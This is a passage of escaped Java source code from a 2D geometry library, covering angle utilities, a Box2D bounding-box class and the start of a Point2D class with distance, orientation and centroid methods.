p3). \r\n\t * Result is given in radians, between 0 and 2*PI.\r\n\t */\r\n\tpublic static double angle(Point2D p1, Point2D p2, Point2D p3) {\r\n\t\tdouble angle1 = horizontalAngle(p2, p1);\r\n\t\tdouble angle2 = horizontalAngle(p2, p3);\r\n\t\treturn (angle2 - angle1 + M_2PI) % (M_2PI);\r\n\t}\r\n\r\n\t/**\r\n\t * Returns the oriented angle between the ray formed by (p2, p1)\r\n\t * and the ray formed by (p2, p3), where pi = (xi,yi), i=1,2,3. \r\n\t * Result is given in radians, between 0 and 2*PI.\r\n\t */\r\n\tpublic static double angle(double x1, double y1, double x2, double y2,\r\n\t\t\tdouble x3, double y3) {\r\n\t\tdouble angle1 = horizontalAngle(x2, y2, x1, y1);\r\n\t\tdouble angle2 = horizontalAngle(x2, y2, x3, y3);\r\n\t\treturn (angle2 - angle1 + M_2PI) % (M_2PI);\r\n\t}\r\n\r\n\t/**\r\n\t * Returns the absolute angle between the ray formed by (p2, p1) \r\n\t * and the ray formed by (p2, p3). \r\n\t * Result is given in radians, between 0 and PI.\r\n\t */\r\n\tpublic static double absoluteAngle(Point2D p1, Point2D p2, Point2D p3) {\r\n\t\tdouble angle1 = horizontalAngle(new Vector2D(p2, p1));\r\n\t\tdouble angle2 = horizontalAngle(new Vector2D(p2, p3));\r\n\t\tangle1 = (angle2 - angle1 + M_2PI) % (M_2PI);\r\n\t\tif (angle1 < Math.PI)\r\n\t\t\treturn angle1;\r\n\t\telse\r\n\t\t\treturn M_2PI - angle1;\r\n\t}\r\n\r\n\t/**\r\n\t * Returns the absolute angle between the ray formed by (p2, p1) \r\n\t * and the ray formed by (p2, p3), where pi = (xi,yi), i=1,2,3. \r\n\t * Result is given in radians, between 0 and PI.\r\n\t */\r\n\tpublic static double absoluteAngle(double x1, double y1, double x2,\r\n\t\t\tdouble y2, double x3, double y3) {\r\n\t\tdouble angle1 = horizontalAngle(x2, y2, x1, y1);\r\n\t\tdouble angle2 = horizontalAngle(x2, y2, x3, y3);\r\n\t\tangle1 = (angle2 - angle1 + M_2PI) % (M_2PI);\r\n\t\tif (angle1 < Math.PI)\r\n\t\t\treturn angle1;\r\n\t\telse\r\n\t\t\treturn M_2PI - angle1;\r\n\t}\r\n\r\n\t/**\r\n\t * Checks whether two angles are equal, with respect to the given error\r\n\t * bound.\r\n\t * \r\n\t * @param angle1\r\n\t * first angle to compare\r\n\t * @param angle2\r\n\t * second angle to compare\r\n\t * @param eps \r\n\t * the threshold value for comparison\r\n\t * @return true if the two angle are equal modulo 2*PI\r\n\t */\r\n\tpublic static boolean almostEquals(double angle1, double angle2, double eps) {\r\n\t\tangle1 = formatAngle(angle1);\r\n\t\tangle2 = formatAngle(angle2);\r\n\t\tdouble diff = formatAngle(angle1 - angle2);\r\n\t\tif (diff < eps)\r\n\t\t\treturn true;\r\n\t\tif (abs(diff - PI * 2) < eps)\r\n\t\t\treturn true;\r\n\t\treturn false;\r\n\t}\r\n\r\n\t/**\r\n\t * Checks whether two angles are equal, given a default threshold value.\r\n\t * \r\n\t * @param angle1\r\n\t * first angle to compare\r\n\t * @param angle2\r\n\t * second angle to compare\r\n\t * @return true if the two angle are equal modulo 2*PI\r\n\t */\r\n\tpublic static boolean equals(double angle1, double angle2) {\r\n\t\tangle1 = formatAngle(angle1);\r\n\t\tangle2 = formatAngle(angle2);\r\n\t\tdouble diff = formatAngle(angle1 - angle2);\r\n\t\tif (diff < Shape2D.ACCURACY)\r\n\t\t\treturn true;\r\n\t\tif (abs(diff - PI * 2) < Shape2D.ACCURACY)\r\n\t\t\treturn true;\r\n\t\treturn false;\r\n\t}\r\n\r\n\t/**\r\n\t * Tests if an angle belongs to an angular interval, defined by two limit\r\n\t * angle, counted Counter-clockwise.\r\n\t * \r\n\t * @param startAngle\r\n\t * the beginning of the angular domain\r\n\t * @param endAngle\r\n\t * the end of the angular domain\r\n\t * @param angle\r\n\t * the angle to test\r\n\t * @return true if angle is between the 2 limits\r\n\t */\r\n\tpublic static boolean containsAngle(double startAngle, double endAngle,\r\n\t\t\tdouble angle) {\r\n\t\tstartAngle \t= formatAngle(startAngle);\r\n\t\tendAngle \t= formatAngle(endAngle);\r\n\t\tangle \t\t= formatAngle(angle);\r\n\t\tif (startAngle < endAngle)\r\n\t\t\treturn angle >= startAngle && angle <= endAngle;\r\n\t\telse\r\n\t\t\treturn angle <= endAngle || angle >= startAngle;\r\n\t}\r\n\r\n\t/**\r\n\t * Tests if an angle belongs to an angular interval, defined by two limit\r\n\t * angles, and an orientation flag.\r\n\t * \r\n\t * @param startAngle\r\n\t * the beginning of the angular domain\r\n\t * @param endAngle\r\n\t * the end of the angular domain\r\n\t * @param angle\r\n\t * the angle to test\r\n\t * @param direct\r\n\t * is true if angular domain is oriented Counter clockwise, and\r\n\t * false if angular domain is oriented clockwise.\r\n\t * @return true if angle is between the 2 limits\r\n\t */\r\n\tpublic static boolean containsAngle(double startAngle, double endAngle,\r\n\t\t\tdouble angle, boolean direct) {\r\n\t\tstartAngle \t= formatAngle(startAngle);\r\n\t\tendAngle \t= formatAngle(endAngle);\r\n\t\tangle \t\t= formatAngle(angle);\r\n\t\tif (direct) {\r\n\t\t\tif (startAngle < endAngle)\r\n\t\t\t\treturn angle >= startAngle && angle <= endAngle;\r\n\t\t\telse\r\n\t\t\t\treturn angle <= endAngle || angle >= startAngle;\r\n\t\t} else {\r\n\t\t\tif (startAngle < endAngle)\r\n\t\t\t\treturn angle <= startAngle || angle >= endAngle;\r\n\t\t\telse\r\n\t\t\t\treturn angle >= endAngle && angle <= startAngle;\r\n\t\t}\r\n\t}\r\n}\r", "public class Box2D implements GeometricObject2D, Cloneable {\r\n\r\n // ===================================================================\r\n // Static factory\r\n\r\n /**\r\n * @deprecated since 0.11.1\r\n */\r\n @Deprecated\r\n public static Box2D create(double xmin, double xmax, double ymin,\r\n double ymax) {\r\n return new Box2D(xmin, xmax, ymin, ymax);\r\n }\r\n\r\n /**\r\n * @deprecated since 0.11.1\r\n */\r\n @Deprecated\r\n public static Box2D create(Point2D p1, Point2D p2) {\r\n return new Box2D(p1, p2);\r\n }\r\n\r\n /**\r\n * The box corresponding to the unit square, with bounds [0 1] in each\r\n * direction\r\n * \r\n * @since 0.9.1\r\n */\r\n public final static Box2D UNIT_SQUARE_BOX = Box2D.create(0, 1, 0, 1);\r\n\r\n /**\r\n * The box corresponding to the the whole plane, with infinite bounds in\r\n * each direction.\r\n * \r\n * @since 0.9.1\r\n */\r\n public final static Box2D INFINITE_BOX = Box2D.create(NEGATIVE_INFINITY,\r\n POSITIVE_INFINITY, NEGATIVE_INFINITY, POSITIVE_INFINITY);\r\n\r\n // ===================================================================\r\n // class variables\r\n\r\n private double xmin = 0;\r\n private double xmax = 0;\r\n private double ymin = 0;\r\n private double ymax = 0;\r\n\r\n // ===================================================================\r\n // constructors\r\n\r\n /** Empty constructor (size and position zero) */\r\n public Box2D() {\r\n this(0, 0, 0, 0);\r\n }\r\n\r\n /**\r\n * Main constructor, given bounds for x coord, then bounds for y coord.\r\n */\r\n public Box2D(double xmin, double xmax, double ymin, double ymax) {\r\n this.xmin = xmin;\r\n this.xmax = xmax;\r\n this.ymin = ymin;\r\n this.ymax = ymax;\r\n }\r\n\r\n //\r\n // /** Constructor from awt, to allow easy construction from existing apps.\r\n // */\r\n // public Box2D(java.awt.geom.Rectangle2D rect) {\r\n // this(rect.getX(), rect.getX() + rect.getWidth(), rect.getY(), rect\r\n // .getY() + rect.getHeight());\r\n // }\r\n\r\n /**\r\n * Constructor from 2 points, giving extreme coordinates of the box.\r\n */\r\n public Box2D(Point2D p1, Point2D p2) {\r\n double x1 = p1.x();\r\n double y1 = p1.y();\r\n double x2 = p2.x();\r\n double y2 = p2.y();\r\n this.xmin = min(x1, x2);\r\n this.xmax = max(x1, x2);\r\n this.ymin = min(y1, y2);\r\n this.ymax = max(y1, y2);\r\n }\r\n\r\n /** Constructor from a point, a width and an height */\r\n public Box2D(Point2D point, double w, double h) {\r\n this(point.x(), point.x() + w, point.y(), point.y() + h);\r\n }\r\n\r\n // ===================================================================\r\n // accessors to Box2D fields\r\n\r\n public double getMinX() {\r\n return xmin;\r\n }\r\n\r\n public double getMinY() {\r\n return ymin;\r\n }\r\n\r\n public double getMaxX() {\r\n return xmax;\r\n }\r\n\r\n public double getMaxY() {\r\n return ymax;\r\n }\r\n\r\n public double getWidth() {\r\n return xmax - xmin;\r\n }\r\n\r\n public double getHeight() {\r\n return ymax - ymin;\r\n }\r\n\r\n /** Returns true if all bounds are finite. */\r\n public boolean isBounded() {\r\n if (isInfinite(xmin))\r\n return false;\r\n if (isInfinite(ymin))\r\n return false;\r\n if (isInfinite(xmax))\r\n return false;\r\n if (isInfinite(ymax))\r\n return false;\r\n return true;\r\n }\r\n\r\n // ===================================================================\r\n // tests of inclusion\r\n\r\n /**\r\n * Checks if this box contains the given point.\r\n */\r\n public boolean contains(Point2D point) {\r\n double x = point.x();\r\n double y = point.y();\r\n if (x < xmin)\r\n return false;\r\n if (y < ymin)\r\n return false;\r\n if (x > xmax)\r\n return false;\r\n if (y > ymax)\r\n return false;\r\n return true;\r\n }\r\n\r\n /**\r\n * Checks if this box contains the point defined by the given coordinates.\r\n */\r\n public boolean contains(double x, double y) {\r\n if (x < xmin)\r\n return false;\r\n if (y < ymin)\r\n return false;\r\n if (x > xmax)\r\n return false;\r\n if (y > ymax)\r\n return false;\r\n return true;\r\n }\r\n\r\n /**\r\n * Tests if the specified Shape is totally contained in this Box2D. Note\r\n * that the test is performed on the bounding box of the shape, then for\r\n * rotated rectangles, this method can return false with a shape totally\r\n * contained in the rectangle. The problem does not exist for horizontal\r\n * rectangle, since edges of rectangle and bounding box are parallel.\r\n */\r\n public boolean containsBounds(Shape2D shape) {\r\n if (!shape.isBounded())\r\n return false;\r\n for (Point2D point : shape.boundingBox().vertices())\r\n if (!contains(point))\r\n return false;\r\n\r\n return true;\r\n }\r\n\r\n // ===================================================================\r\n // information on the boundary\r\n\r\n /**\r\n * Returns a set of straight of lines defining half-planes, that all contain\r\n * the box. If the box is bounded, the number of straight lines is 4,\r\n * otherwise it can be less.\r\n * \r\n * @return a set of straight lines\r\n */\r\n public Collection<StraightLine2D> clippingLines() {\r\n ArrayList<StraightLine2D> lines = new ArrayList<StraightLine2D>(4);\r\n\r\n if (isFinite(ymin))\r\n lines.add(new StraightLine2D(0, ymin, 1, 0));\r\n if (isFinite(xmax))\r\n lines.add(new StraightLine2D(xmax, 0, 0, 1));\r\n if (isFinite(ymax))\r\n lines.add(new StraightLine2D(0, ymax, -1, 0));\r\n if (isFinite(xmin))\r\n lines.add(new StraightLine2D(xmin, 0, 0, -1));\r\n return lines;\r\n }\r\n\r\n /**\r\n * Returns the set of linear shapes that constitutes the boundary of this\r\n * box.\r\n */\r\n public Collection<LinearShape2D> edges() {\r\n ArrayList<LinearShape2D> edges = new ArrayList<LinearShape2D>(4);\r\n\r\n if (isBounded()) {\r\n edges.add(new LineSegment2D(xmin, ymin, xmax, ymin));\r\n edges.add(new LineSegment2D(xmax, ymin, xmax, ymax));\r\n edges.add(new LineSegment2D(xmax, ymax, xmin, ymax));\r\n edges.add(new LineSegment2D(xmin, ymax, xmin, ymin));\r\n return edges;\r\n }\r\n\r\n if (!isInfinite(ymin)) {\r\n if (isInfinite(xmin) && isInfinite(xmax))\r\n edges.add(new StraightLine2D(0, ymin, 1, 0));\r\n else if (!isInfinite(xmin) && !isInfinite(xmax))\r\n edges.add(new LineSegment2D(xmin, ymin, xmax, ymin));\r\n else\r\n edges.add(new LineArc2D(0, ymin, 1, 0, xmin, xmax));\r\n }\r\n\r\n if (!isInfinite(xmax)) {\r\n if (isInfinite(ymin) && isInfinite(ymax))\r\n edges.add(new StraightLine2D(xmax, 0, 0, 1));\r\n else if (!isInfinite(ymin) && !isInfinite(ymax))\r\n edges.add(new LineSegment2D(xmax, ymin, xmax, ymax));\r\n else\r\n edges.add(new LineArc2D(xmax, 0, 0, 1, ymin, ymax));\r\n }\r\n\r\n if (!isInfinite(ymax)) {\r\n if (isInfinite(xmin) && isInfinite(xmax))\r\n edges.add(new StraightLine2D(0, ymax, 1, 0));\r\n else if (!isInfinite(xmin) && !isInfinite(xmax))\r\n edges.add(new LineSegment2D(xmax, ymax, xmin, ymax));\r\n else\r\n edges.add(new LineArc2D(0, ymin, 1, 0, xmin, xmax).reverse());\r\n }\r\n\r\n if (!isInfinite(xmin)) {\r\n if (isInfinite(ymin) && isInfinite(ymax))\r\n edges.add(new StraightLine2D(xmin, 0, 0, -1));\r\n else if (!isInfinite(ymin) && !isInfinite(ymax))\r\n edges.add(new LineSegment2D(xmin, ymax, xmin, ymin));\r\n else\r\n edges.add(new LineArc2D(xmin, 0, 0, 1, ymin, ymax).reverse());\r\n }\r\n\r\n return edges;\r\n }\r\n\r\n /**\r\n * Returns the boundary of this box. The boundary can be bounded, in the\r\n * case of a bounded box. It is unbounded if at least one bound of the box\r\n * is infinite. If both x bounds or both y-bounds are infinite, the boundary\r\n * is constituted from 2 straight lines.\r\n * \r\n * @return the box boundary\r\n */\r\n public Boundary2D boundary() {\r\n\r\n // First case of totally bounded box\r\n if (isBounded()) {\r\n Point2D pts[] = new Point2D[4];\r\n pts[0] = new Point2D(xmin, ymin);\r\n pts[1] = new Point2D(xmax, ymin);\r\n pts[2] = new Point2D(xmax, ymax);\r\n pts[3] = new Point2D(xmin, ymax);\r\n return new LinearRing2D(pts);\r\n }\r\n\r\n // extract boolean info on \"boundedness\" in each direction\r\n boolean bx0 = !isInfinite(xmin);\r\n boolean bx1 = !isInfinite(xmax);\r\n boolean by0 = !isInfinite(ymin);\r\n boolean by1 = !isInfinite(ymax);\r\n\r\n // case of boxes unbounded in both x directions\r\n if (!bx0 && !bx1) {\r\n if (!by0 && !by1)\r\n return new ContourArray2D<StraightLine2D>();\r\n if (by0 && !by1)\r\n return new StraightLine2D(0, ymin, 1, 0);\r\n if (!by0 && by1)\r\n return new StraightLine2D(0, ymax, -1, 0);\r\n return new ContourArray2D<StraightLine2D>(new StraightLine2D[] {\r\n new StraightLine2D(0, ymin, 1, 0),\r\n new StraightLine2D(0, ymax, -1, 0) });\r\n }\r\n\r\n // case of boxes unbounded in both y directions\r\n if (!by0 && !by1) {\r\n if (!bx0 && !bx1)\r\n return new ContourArray2D<StraightLine2D>();\r\n if (bx0 && !bx1)\r\n return new StraightLine2D(xmin, 0, 0, -1);\r\n if (!bx0 && bx1)\r\n return new StraightLine2D(xmax, 0, 0, 1);\r\n return new ContourArray2D<StraightLine2D>(new StraightLine2D[] {\r\n new StraightLine2D(xmin, 0, 0, -1),\r\n new StraightLine2D(xmax, 0, 0, 1) });\r\n }\r\n\r\n // \"corner boxes\"\r\n\r\n if (bx0 && by0) // lower left corner\r\n return new BoundaryPolyCurve2D<LineArc2D>(new LineArc2D[] {\r\n new LineArc2D(xmin, ymin, 0, -1, NEGATIVE_INFINITY, 0),\r\n new LineArc2D(xmin, ymin, 1, 0, 0, POSITIVE_INFINITY) });\r\n\r\n if (bx1 && by0) // lower right corner\r\n return new BoundaryPolyCurve2D<LineArc2D>(new LineArc2D[] {\r\n new LineArc2D(xmax, ymin, 1, 0, NEGATIVE_INFINITY, 0),\r\n new LineArc2D(xmax, ymin, 0, 1, 0, POSITIVE_INFINITY) });\r\n\r\n if (bx1 && by1) // upper right corner\r\n return new BoundaryPolyCurve2D<LineArc2D>(new LineArc2D[] {\r\n new LineArc2D(xmax, ymax, 0, 1, NEGATIVE_INFINITY, 0),\r\n new LineArc2D(xmax, ymax, -1, 0, 0, POSITIVE_INFINITY) });\r\n\r\n if (bx0 && by1) // upper left corner\r\n return new BoundaryPolyCurve2D<LineArc2D>(new LineArc2D[] {\r\n new LineArc2D(xmin, ymax, -1, 0, NEGATIVE_INFINITY, 0),\r\n new LineArc2D(xmin, ymax, 0, -1, 0, POSITIVE_INFINITY) });\r\n\r\n // Remains only 4 cases: boxes unbounded in only one direction\r\n\r\n if (bx0)\r\n return new BoundaryPolyCurve2D<AbstractLine2D>(\r\n new AbstractLine2D[] {\r\n new LineArc2D(xmin, ymax, -1, 0, NEGATIVE_INFINITY,\r\n 0),\r\n new LineSegment2D(xmin, ymax, xmin, ymin),\r\n new LineArc2D(xmin, ymin, 1, 0, 0,\r\n POSITIVE_INFINITY) });\r\n\r\n if (bx1)\r\n return new BoundaryPolyCurve2D<AbstractLine2D>(\r\n new AbstractLine2D[] {\r\n new LineArc2D(xmax, ymin, 1, 0, NEGATIVE_INFINITY,\r\n 0),\r\n new LineSegment2D(xmax, ymin, xmax, ymax),\r\n new LineArc2D(xmax, ymax, -1, 0, 0,\r\n POSITIVE_INFINITY) });\r\n\r\n if (by0)\r\n return new BoundaryPolyCurve2D<AbstractLine2D>(\r\n new AbstractLine2D[] {\r\n new LineArc2D(xmin, ymin, 0, -1, NEGATIVE_INFINITY,\r\n 0),\r\n new LineSegment2D(xmin, ymin, xmax, ymin),\r\n new LineArc2D(xmax, ymin, 0, 1, 0,\r\n POSITIVE_INFINITY) });\r\n\r\n if (by1)\r\n return new BoundaryPolyCurve2D<AbstractLine2D>(\r\n new AbstractLine2D[] {\r\n new LineArc2D(xmax, ymax, 0, 1, NEGATIVE_INFINITY,\r\n 0),\r\n new LineSegment2D(xmax, ymax, xmin, ymax),\r\n new LineArc2D(xmin, ymax, 0, -1, 0,\r\n POSITIVE_INFINITY) });\r\n\r\n return null;\r\n }\r\n\r\n public Collection<Point2D> vertices() {\r\n ArrayList<Point2D> points = new ArrayList<Point2D>(4);\r\n boolean bx0 = isFinite(xmin);\r\n boolean bx1 = isFinite(xmax);\r\n boolean by0 = isFinite(ymin);\r\n boolean by1 = isFinite(ymax);\r\n if (bx0 && by0)\r\n points.add(new Point2D(xmin, ymin));\r\n if (bx1 && by0)\r\n points.add(new Point2D(xmax, ymin));\r\n if (bx0 && by1)\r\n points.add(new Point2D(xmin, ymax));\r\n if (bx1 && by1)\r\n points.add(new Point2D(xmax, ymax));\r\n return points;\r\n }\r\n\r\n private final static boolean isFinite(double value) {\r\n if (isInfinite(value))\r\n return false;\r\n if (isNaN(value))\r\n return false;\r\n return true;\r\n }\r\n\r\n /** Returns the number of vertices of the box. */\r\n public int vertexNumber() {\r\n return this.vertices().size();\r\n }\r\n\r\n // ===================================================================\r\n // combination of box with other boxes\r\n\r\n /**\r\n * Returns the Box2D which contains both this box and the specified box.\r\n * \r\n * @param box\r\n * the bounding box to include\r\n * @return a new Box2D\r\n */\r\n public Box2D union(Box2D box) {\r\n double xmin = min(this.xmin, box.xmin);\r\n double xmax = max(this.xmax, box.xmax);\r\n double ymin = min(this.ymin, box.ymin);\r\n double ymax = max(this.ymax, box.ymax);\r\n return new Box2D(xmin, xmax, ymin, ymax);\r\n }\r\n\r\n /**\r\n * Returns the Box2D which is contained both by this box and by the\r\n * specified box.\r\n * \r\n * @param box\r\n * the bounding box to include\r\n * @return a new Box2D\r\n */\r\n public Box2D intersection(Box2D box) {\r\n double xmin = max(this.xmin, box.xmin);\r\n double xmax = min(this.xmax, box.xmax);\r\n double ymin = max(this.ymin, box.ymin);\r\n double ymax = min(this.ymax, box.ymax);\r\n return new Box2D(xmin, xmax, ymin, ymax);\r\n }\r\n\r\n /**\r\n * Changes the bounds of this box to also include bounds of the argument.\r\n * \r\n * @param box\r\n * the bounding box to include\r\n * @return this\r\n */\r\n public Box2D merge(Box2D box) {\r\n this.xmin = min(this.xmin, box.xmin);\r\n this.xmax = max(this.xmax, box.xmax);\r\n this.ymin = min(this.ymin, box.ymin);\r\n this.ymax = max(this.ymax, box.ymax);\r\n return this;\r\n }\r\n\r\n /**\r\n * Clip this bounding box such that after clipping, it is totally contained\r\n * in the given box.\r\n * \r\n * @return the clipped box\r\n */\r\n public Box2D clip(Box2D box) {\r\n this.xmin = max(this.xmin, box.xmin);\r\n this.xmax = min(this.xmax, box.xmax);\r\n this.ymin = max(this.ymin, box.ymin);\r\n this.ymax = min(this.ymax, box.ymax);\r\n return this;\r\n }\r\n\r\n /**\r\n * Returns the new box created by an affine transform of this box. If the\r\n * box is unbounded, return an infinite box in all directions.\r\n */\r\n public Box2D transform(AffineTransform2D trans) {\r\n // special case of unbounded box\r\n if (!this.isBounded())\r\n return Box2D.INFINITE_BOX;\r\n\r\n // initialize with extreme values\r\n double xmin = POSITIVE_INFINITY;\r\n double xmax = NEGATIVE_INFINITY;\r\n double ymin = POSITIVE_INFINITY;\r\n double ymax = NEGATIVE_INFINITY;\r\n\r\n // update bounds with coordinates of transformed box vertices\r\n for (Point2D point : this.vertices()) {\r\n point = point.transform(trans);\r\n xmin = min(xmin, point.x());\r\n ymin = min(ymin, point.y());\r\n xmax = max(xmax, point.x());\r\n ymax = max(ymax, point.y());\r\n }\r\n\r\n // create the resulting box\r\n return new Box2D(xmin, xmax, ymin, ymax);\r\n }\r\n\r\n // ===================================================================\r\n // conversion methods\r\n\r\n /**\r\n * Converts to AWT rectangle.\r\n * \r\n * @return an instance of java.awt.geom.Rectangle2D\r\n */\r\n public Rect asAwtRectangle() {\r\n int xr = (int) floor(this.xmin);\r\n int yr = (int) floor(this.ymin);\r\n int wr = (int) ceil(this.xmax - xr);\r\n int hr = (int) ceil(this.ymax - yr);\r\n return new Rect(xr, yr, wr, hr);\r\n }\r\n\r\n /**\r\n * Converts to a rectangle.\r\n * \r\n * @return an instance of Polygon2D\r\n */\r\n public Polygon2D asRectangle() {\r\n return Polygons2D.createRectangle(xmin, ymin, xmax, ymax);\r\n }\r\n\r\n /**\r\n * Draws the boundary of the box on the specified graphics.\r\n * \r\n * @param g2\r\n * the instance of graphics to draw in.\r\n * @throws UnboundedBox2DException\r\n * if the box is unbounded\r\n */\r\n public void draw(Canvas g2, Paint p) {\r\n if (!isBounded())\r\n throw new UnboundedBox2DException(this);\r\n this.boundary().draw(g2, p);\r\n }\r\n\r\n /**\r\n * @deprecated useless (0.11.1)\r\n */\r\n @Deprecated\r\n public Box2D boundingBox() {\r\n return new Box2D(xmin, xmax, ymin, ymax);\r\n }\r\n\r\n /**\r\n * Tests if boxes are the same. Two boxes are the same if they have the same\r\n * bounds, up to the specified threshold value.\r\n */\r\n public boolean almostEquals(GeometricObject2D obj, double eps) {\r\n if (this == obj)\r\n return true;\r\n\r\n // check class, and cast type\r\n if (!(obj instanceof Box2D))\r\n return false;\r\n Box2D box = (Box2D) obj;\r\n\r\n if (Math.abs(this.xmin - box.xmin) > eps)\r\n return false;\r\n if (Math.abs(this.xmax - box.xmax) > eps)\r\n return false;\r\n if (Math.abs(this.ymin - box.ymin) > eps)\r\n return false;\r\n if (Math.abs(this.ymax - box.ymax) > eps)\r\n return false;\r\n\r\n return true;\r\n }\r\n\r\n // ===================================================================\r\n // methods from Object interface\r\n\r\n @Override\r\n public String toString() {\r\n return new String(\"Box2D(\" + xmin + \",\" + xmax + \",\" + ymin + \",\"\r\n + ymax + \")\");\r\n }\r\n\r\n /**\r\n * Test if boxes are the same. two boxes are the same if the have exactly\r\n * the same bounds.\r\n */\r\n @Override\r\n public boolean equals(Object obj) {\r\n if (this == obj)\r\n return true;\r\n\r\n // check class, and cast type\r\n if (!(obj instanceof Box2D))\r\n return false;\r\n Box2D that = (Box2D) obj;\r\n\r\n // Compare each field\r\n if (!EqualUtils.areEqual(this.xmin, that.xmin))\r\n return false;\r\n if (!EqualUtils.areEqual(this.xmax, that.xmax))\r\n return false;\r\n if (!EqualUtils.areEqual(this.ymin, that.ymin))\r\n return false;\r\n if (!EqualUtils.areEqual(this.ymax, that.ymax))\r\n return false;\r\n\r\n return true;\r\n }\r\n\r\n /**\r\n * @deprecated not necessary to clone immutable objects (0.11.2)\r\n */\r\n @Deprecated\r\n @Override\r\n public Box2D clone() {\r\n return new Box2D(xmin, xmax, ymin, ymax);\r\n }\r\n}", "public class Point2D implements GeometricObject2D, PointShape2D, Cloneable,\r\n CirculinearShape2D {\r\n\r\n // ===================================================================\r\n // class variables\r\n\r\n /** The x coordinate of this point. */\r\n protected double x;\r\n\r\n /** The y coordinate of this point. */\r\n protected double y;\r\n\r\n // ===================================================================\r\n // static methods\r\n\r\n /**\r\n * Static factory for creating a new point in cartesian coordinates.\r\n * \r\n * @deprecated since 0.11.1\r\n */\r\n @Deprecated\r\n public static Point2D create(double x, double y) {\r\n return new Point2D(x, y);\r\n }\r\n\r\n\r\n /**\r\n * Static factory for creating a new point from an existing instance of\r\n * javageom point.\r\n * \r\n * @since 0.10.0\r\n */\r\n public static Point2D create(Point2D point) {\r\n return new Point2D(point.x, point.y);\r\n }\r\n\r\n /**\r\n * Creates a new point from polar coordinates <code>rho</code> and\r\n * <code>theta</code>.\r\n */\r\n public static Point2D createPolar(double rho, double theta) {\r\n return new Point2D(rho * cos(theta), rho * sin(theta));\r\n }\r\n\r\n /**\r\n * Creates a new point from polar coordinates <code>rho</code> and\r\n * <code>theta</code>, from the given point.\r\n */\r\n public static Point2D createPolar(Point2D point, double rho, double theta) {\r\n return new Point2D(point.x + rho * cos(theta), point.y + rho\r\n * sin(theta));\r\n }\r\n\r\n /**\r\n * Creates a new point from polar coordinates <code>rho</code> and\r\n * <code>theta</code>, from the position (x0,y0).\r\n */\r\n public static Point2D createPolar(double x0, double y0, double rho,\r\n double theta) {\r\n return new Point2D(x0 + rho * cos(theta), y0 + rho * sin(theta));\r\n }\r\n\r\n /**\r\n * Computes the Euclidean distance between two points, given by their\r\n * coordinates. Uses robust computation (via Math.hypot() method).\r\n * \r\n * @return the Euclidean distance between p1 and p2.\r\n */\r\n public static double distance(double x1, double y1, double x2, double y2) {\r\n return hypot(x2 - x1, y2 - y1);\r\n }\r\n\r\n /**\r\n * Computes the Euclidean distance between two points. Uses robust\r\n * computation (via Math.hypot() method).\r\n * \r\n * @param p1\r\n * the first point\r\n * @param p2\r\n * the second point\r\n * @return the Euclidean distance between p1 and p2.\r\n */\r\n public static double distance(Point2D p1, Point2D p2) {\r\n return hypot(p1.x - p2.x, p1.y - p2.y);\r\n }\r\n\r\n /**\r\n * Tests if the three points are colinear.\r\n * \r\n * @return true if three points lie on the same line.\r\n */\r\n public static boolean isColinear(Point2D p1, Point2D p2, Point2D p3) {\r\n double dx1, dx2, dy1, dy2;\r\n dx1 = p2.x - p1.x;\r\n dy1 = p2.y - p1.y;\r\n dx2 = p3.x - p1.x;\r\n dy2 = p3.y - p1.y;\r\n\r\n // tests if the two lines are parallel\r\n return Math.abs(dx1 * dy2 - dy1 * dx2) < Shape2D.ACCURACY;\r\n }\r\n\r\n /**\r\n * Computes the orientation of the 3 points: returns +1 is the path\r\n * P0->P1->P2 turns Counter-Clockwise, -1 if the path turns Clockwise, and 0\r\n * if the point P2 is located on the line segment [P0 P1]. Algorithm taken\r\n * from Sedgewick.\r\n * \r\n * @param p0\r\n * the initial point\r\n * @param p1\r\n * the middle point\r\n * @param p2\r\n * the last point\r\n * @return +1, 0 or -1, depending on the relative position of the points\r\n */\r\n public static int ccw(Point2D p0, Point2D p1, Point2D p2) {\r\n double x0 = p0.x;\r\n double y0 = p0.y;\r\n double dx1 = p1.x - x0;\r\n double dy1 = p1.y - y0;\r\n double dx2 = p2.x - x0;\r\n double dy2 = p2.y - y0;\r\n\r\n if (dx1 * dy2 > dy1 * dx2)\r\n return +1;\r\n if (dx1 * dy2 < dy1 * dx2)\r\n return -1;\r\n if ((dx1 * dx2 < 0) || (dy1 * dy2 < 0))\r\n return -1;\r\n if (hypot(dx1, dy1) < hypot(dx2, dy2))\r\n return +1;\r\n return 0;\r\n }\r\n\r\n public static Point2D midPoint(Point2D p1, Point2D p2) {\r\n return new Point2D((p1.x + p2.x) / 2, (p1.y + p2.y) / 2);\r\n }\r\n\r\n /**\r\n * Computes the centroid, or center of mass, of an array of points.\r\n * \r\n * @param points\r\n * an array of points\r\n * @return the centroid of the points\r\n */\r\n public static Point2D centroid(Point2D[] points) {\r\n int n = points.length;\r\n double sx = 0, sy = 0;\r\n for (int i = 0; i < n; i++) {\r\n sx += points[i].x;\r\n sy += points[i].y;\r\n }\r\n return new Point2D(sx / n, sy / n);\r\n }\r\n\r\n /**\r\n * Computes the weighted centroid, or center of mass, of an array of points.\r\n * \r\n * @param points\r\n * an array of points\r\n * @param weights\r\n * an array of weights the same size as points\r\n * @return the centroid of the points\r\n */\r\n public static Point2D centroid(Point2D[] points, double[] weights) {\r\n // number of points\r\n int n = points.length;\r\n\r\n // check size of second array\r\n if (n != weights.length) {\r\n throw new RuntimeException(\"Arrays must have the same size\");\r\n }\r\n\r\n // sum up weighted coordinates\r\n double sx = 0, sy = 0, sw = 0;\r\n double w;\r\n for (int i = 0; i < n; i++) {\r\n w = weights[i];\r\n sx += points[i].x * w;\r\n sy += points[i].y * w;\r\n sw += w;\r\n }\r\n\r\n // compute weighted average of each coordinate\r\n return new Point2D(sx / sw, sy / sw);\r\n }\r\n\r\n /**\r\n * Computes the centroid, or center of mass, of a collection of points.\r\n * \r\n * @param points\r\n * a collection of points\r\n * @return the centroid of the points\r\n */\r\n public static Point2D centroid(Collection<? extends Point2D> points) {\r\n int n = points.size();\r\n double sx = 0, sy = 0;\r\n for (Point2D point : points) {\r\n sx += point.x;\r\n sy += point.y;\r\n }\r\n return new Point2D(sx / n, sy / n);\r\n }\r\n\r\n /**\r\n * Computes the centroid of three points.\r\n * \r\n * @param pt1\r\n * the first point\r\n * @param pt2\r\n * the second point\r\n * @param pt3\r\n * the third point\r\n * @return the centroid of the 3 points\r\n */\r\n public static Point2D centroid(Point2D pt1, Point2D pt2, Point2D pt3) {\r\n return new Point2D((pt1.x + pt2.x + pt3.x) / 3,\r\n (pt1.y + pt2.y + pt3.y) / 3);\r\n }\r\n\r\n // ===================================================================\r\n // class 